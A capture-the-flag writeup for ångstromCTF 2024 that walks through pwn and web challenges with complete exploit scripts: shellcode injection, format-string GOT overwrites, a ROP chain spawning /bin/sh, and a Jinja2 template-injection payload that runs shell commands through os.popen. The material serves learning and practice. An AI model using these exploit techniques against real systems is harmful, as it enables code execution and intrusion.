ångstromCTF 2024 was held from May 24th to 27th (5/25~5/28 in JST). This is writeup for the web/pwn problems which I solved. I coudn't have enough time to concentrate on the difficult problems because I had to go to a mock exam of the university entrance. So there are solutions for only easy problems. Problems I solved: pwn: - exam - presidential - og - bap web: - spinner - markdown - winds rev: - guess the flag - switcher crypto: - erm what the enigma misc: - putnam # exam We are given an executable file. A result of decompile is following ```c uint32_t detrust = 0x0 uint32_t trust_level = 0x0 uint32_t threshold = 0x7ffffffe int32_t main(int32_t argc, char** argv, char** envp) { void* fsbase; int64_t rax = *(uint64_t*)((char*)fsbase + 0x28); setbuf(stdout, nullptr); printf("How much should I not trust you?…"); __isoc99_scanf(&data_20e0, &detrust); void buf_1; fgets(&buf_1, 0x96, stdin); if (detrust < 0) { puts("Don't try to trick me into trust…"); } else { trust_level = (trust_level - detrust); if (trust_level == threshold) { puts("What kind of cheating are you do…"); puts("You haven't even signed your sta…"); puts("You are BANNED from all future A…"); } else { while (trust_level < threshold) { puts("\nI don't trust you enough >:)"); printf("Prove your trustworthyness by re…"); fgets(&buf_1, 0x96, stdin); if (strcmp(&buf_1, "I confirm that I am taking this …") == 0) { trust_level = (trust_level - 1); } } void buf; fgets(&buf, 0x40, fopen("flag.txt", &data_2228)); puts("\nYou will now take the multiple…"); puts("You should have in front of you …"); printf("You will have %s minutes for thi…", &buf); } } if (rax == *(uint64_t*)((char*)fsbase + 0x28)) { return 0; } __stack_chk_fail(); /* no return */ } ``` Summarized flow: 1. Prompts an integer input to user and store it to `detrust`. And, `detrust` can't be negative. 2. Subtracts `detrust` from `trust_level`. 3. Prompts a password to the user and if it's correct, subtracts 1 from `trust_level`. 4. Continues step 3 until `trust_level` is greater than `threshold`. Initial value of `threshold` is `0x7ffffffe` What I want to do is make `trust_level` as close as `0x7ffffffe`. The negative value that is very close to `0x7ffffffe` is `0x80000001` . So what I do is to input `0x7fffffff` (`0x80000001 = 0 - 0x7fffffff`) as `detrust` and subtract 2 from `trust_level`. `solve.py`: ```python #!/usr/bin/env python import ptrlib as ptr import sys elf = ptr.ELF("./exam") # libc = ptr.ELF("") # ld = ptr.ELF("") def connect(): if len(sys.argv) > 1 and sys.argv[1] == "remote": return ptr.Socket("challs.actf.co", 31322) else: return ptr.Process(elf.filepath) def unwrap(x): if x is None: ptr.logger.error("unwrap failed") exit(1) else: return x def main(): io = connect() io.sendline(str(0x7FFFFFFF)) io.sendline( b"I confirm that I am taking this exam between the dates 5/24/2024 and 5/27/2024. I will not disclose any information about any section of this exam." ) io.sendline( b"I confirm that I am taking this exam between the dates 5/24/2024 and 5/27/2024. I will not disclose any information about any section of this exam." ) flag = io.recvlineafter(b"You will have ").decode() print(flag) io.close() if __name__ == "__main__": main() ``` # presidential We are given a source code and a dockerfile. ```python #!/usr/local/bin/python import ctypes import mmap import sys flag = "redacted" print("White House declared Python to be memory safe :tm:") buf = mmap.mmap(-1, mmap.PAGESIZE, prot=mmap.PROT_READ | mmap.PROT_WRITE | mmap.PROT_EXEC) ftype = ctypes.CFUNCTYPE(ctypes.c_void_p) fpointer = ctypes.c_void_p.from_buffer(buf) f = ftype(ctypes.addressof(fpointer)) u_can_do_it = bytes.fromhex(input("So enter whatever you want 👍 (in hex): ")) buf.write(u_can_do_it) f() del fpointer buf.close() print("byebye") ``` This python script creates a shared memory, writes user input to it, and executes it as function. So we simply input shellcode to get a shell. ```python #!/usr/bin/env python import ptrlib as ptr import sys # elf = ptr.ELF("") # libc = ptr.ELF("") # ld = ptr.ELF("") def connect(): return ptr.Socket("challs.actf.co", 31200) def unwrap(x): if x is None: ptr.logger.error("unwrap failed") exit(1) else: return x def main(): io = connect() buf = b"" buf += b"\x48\x31\xc9\x48\x81\xe9\xfa\xff\xff\xff\x48\x8d" buf += b"\x05\xef\xff\xff\xff\x48\xbb\xd0\xe6\x01\xcd\xfc" buf += b"\x48\xe4\xe0\x48\x31\x58\x27\x48\x2d\xf8\xff\xff" buf += b"\xff\xe2\xf4\x98\x5e\x2e\xaf\x95\x26\xcb\x93\xb8" buf += b"\xe6\x98\x9d\xa8\x17\xb6\x86\xb8\xcb\x62\x99\xa2" buf += b"\x1a\x0c\xe8\xd0\xe6\x01\xe2\x9e\x21\x8a\xcf\xa3" buf += b"\x8e\x01\x9b\xab\x1c\xba\x8a\xeb\xbe\x0e\xc8\xfc" buf += b"\x48\xe4\xe0" io.sendline(buf.hex()) io.sh() if __name__ == "__main__": main() ``` # og We are given an executable file and a dockerfile. A Result of decompile is following: ```c int32_t main(int32_t argc, char** argv, char** envp) { go(); return 0; } int64_t go(){ void* fsbase; int64_t rax = *(uint64_t*)((char*)fsbase + 0x28); setbuf(stdin, nullptr); setbuf(stdout, nullptr); setbuf(stderr, nullptr); printf("kill $PPID; Enter your name: "); void input; fgets(&input, 0x42, stdin); printf("Gotta go. See you around, "); printf(&input); if (rax == *(uint64_t*)((char*)fsbase + 0x28)) { return (rax - *(uint64_t*)((char*)fsbase + 0x28)); } __stack_chk_fail(); /* no return */ } ``` And security mechanisms are following: ``` Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) ``` There are a format string bug and stack buffer overflow bug. This bof bug can't be used to overwrite rip, but I can cause Segmentation Fault. ## Exploit Strategy 1. Leak the base address of libc and overwrite the GOT of `__stack_chk_fail` to `main` to do format string attack again. We must create long payload to cause segmentation fault to call `__stack_chk_fail`. 2. Overwrite GOT of `__stack_chk_fail` to an one-shot gadget. And we must cause Segmentation Fault again. We can get the `libc.so.6` and the `ld-linux-x86-64.so.2` from within a container that can be built from the dockerfile. ```python #!/usr/bin/env python import ptrlib as ptr import sys from pwn import context, fmtstr_payload, ELF elf = ptr.ELF("./og_patched") libc = ptr.ELF("./libc.so.6") ld = ptr.ELF("./ld-linux-x86-64.so.2") context.binary = ELF(elf.filepath, checksec=False) def connect(): if len(sys.argv) > 1 and sys.argv[1] == "remote": return ptr.Socket("challs.actf.co", 31312) else: return ptr.Process(elf.filepath) def unwrap(x): if x is None: ptr.logger.error("unwrap failed") exit(1) else: return x def main(): io = connect() payload = b"#%15$lx#" payload += fmtstr_payload( 7, {elf.got("__stack_chk_fail"): elf.symbol("main")}, numbwritten=2 * 6 + 2, write_size="int", ) payload += b"O" * 0x10 io.sendline(payload) io.recvuntil(b"#") libc.base = int(io.recvuntil(b"#").strip(b"#"), 16) - 0x29D90 one_gadgets = [ 0xEBC81, 0xEBC85, 0xEBC88, 0xEBCE2, 0xEBD38, 0xEBD3F, 0xEBD43, ] payload = fmtstr_payload( 6, {elf.got("__stack_chk_fail"): libc.base + one_gadgets[1]}, write_size="short" ) payload += b"O" * 0x10 io.sendline(payload) io.recvuntil(b"Gotta go. See you around, ") io.sendline(b"echo pwned!") io.recvuntil(b"pwned!") io.sh() if __name__ == "__main__": main() ``` # bap We are given an executable file of the program and libc. A result of decompile is following: ```c int32_t main(int32_t argc, char** argv, char** envp){ setbuf(__TMC_END__, nullptr); printf(&data_402004); void var_18; gets(&var_18); return printf(&var_18); } ``` And security mechanisms are following : ``` Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) ``` There are a format string bug and a buffer overflow bug. This bof bug can be used to overwrite RIP. This program doesn't have enough ROP gadgets, so We must leak the base address of Libc. ## Exploit Strategy 1. Leak the base address of Libc by using FSB bug and make a ROP chain to call main to make a ROP chain again. 2. Make a ROP chain to get a shell. ```python #!/usr/bin/env python import ptrlib as ptr import sys elf = ptr.ELF("./bap_patched") libc = ptr.ELF("./libc.so.6") ld = ptr.ELF("./ld-2.35.so") def connect(): if len(sys.argv) > 1 and sys.argv[1] == "remote": return ptr.Socket("challs.actf.co", 31323) else: return ptr.Process(elf.filepath) def unwrap(x): if x is None: ptr.logger.error("unwrap failed") exit(1) else: return x def main(): io = connect() offset = 24 payload = f"#%29$lx#".encode() payload += b"A" * (offset - len(payload)) payload += ptr.p64(next(elf.gadget("ret;"))) payload += ptr.p64(unwrap(elf.symbol("main"))) io.sendline(payload) io.recvuntil(b"#") libc.base = int(io.recvuntil(b"#").strip(b"#").decode(), 16) - 0x29E40 payload = b"A" * offset payload += ptr.p64(next(libc.gadget("ret;"))) payload += ptr.p64(next(libc.gadget("pop rdi; ret;"))) payload += ptr.p64(next(libc.find("/bin/sh\x00"))) payload += ptr.p64(unwrap(libc.symbol("system"))) io.sendline(payload) io.sh() if __name__ == "__main__": main() ``` # spinner On the website, we can spin the circle 3600000 times. Then, we can get the flag. But the condition is detected on the browser and it requests the flag to the API. ```javascript const message = async () => { if (state.flagged) return const element = document.querySelector('.message') element.textContent = Math.floor(state.total / 360) if (state.total >= 10_000 * 360) { state.flagged = true const response = await fetch('/falg', { method: 'POST' }) element.textContent = await response.text() } } message() ``` So I can request the API manually to get the flag. In the console: ```javascript (await fetch('/falg', { method: 'POST' })).text() ``` # markdown On the website, we can post the markdown string. It parses the string to the html and give us an url where we can see the contents. An website where we can send the url which will be accessed by Admin. We're also provided a source code: ```javascript app.get('/', (_req, res) => { const placeholder = [ '# Note title', 'Content of the note. You can use *italics*!', ].join('\n') res.type('text/html').end(`

Pastebin

`) }) app.get('/flag', (req, res) => { const cookie = req.headers.cookie ?? '' res.type('text/plain').end( cookie.includes(process.env.TOKEN) ? process.env.FLAG : 'no flag for you' ) }) app.get('/view/:id', (_req, res) => { const marked = ( 'https://cdnjs.cloudflare.com/ajax/libs/marked/4.2.2/marked.min.js' ) res.type('text/html').end(`

`) }) app.post('/create', (req, res) => { const data = req.body.content ?? '' const id = crypto.randomBytes(8).toString('hex') posts.set(id, data) res.redirect(`/view/${id}`) }) app.get('/content/:id', (req, res) => { const id = req.params.id const data = posts.get(id) ?? '' res.type('text/plain').end(data) }) ``` This application has a stored-xss vulnerability. If a content contains html string, it's rendered as html. So we can let Admin send to our server the flag that only he can access. We can do this by following payload: ```html ``` # winds On the website, we can input the string. And it sends shuffled string to us. We're given a source code: ```python @app.post('/shout') def shout(): text = request.form.get('text', '') if not text: return redirect('/?error=No message provided...') random.seed(0) jumbled = list(text) random.shuffle(jumbled) jumbled = ''.join(jumbled) return render_template_string('''

The windy hills

Your voice echoes back: %s

''' % jumbled, error=request.args.get('error', '')) ``` A string we input are inserted to the template directly, so this application has SSTI vulnerability. The string is shuffled, but we can create one which will be correct payload, because It uses constant seed. I created a converter for this: ```python import random import sys import httpx def encode(payload) -> str: shuffled_indexes = [] for i in range(len(payload)): shuffled_indexes.append(i) random.seed(0) random.shuffle(shuffled_indexes) encoded = [] for _ in range(len(payload)): encoded.append("") for i in range(len(payload)): encoded[shuffled_indexes[i]] = payload[i] return "".join(encoded) template = ( "{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('" + sys.argv[1] + "').read() }}" ) payload = encode(template) resp = httpx.post("https://winds.web.actf.co/shout", data={"text": payload}) print(resp.text) ``` ```bash python attack.py id ``` ```html

The windy hills

Your voice echoes back: uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)

```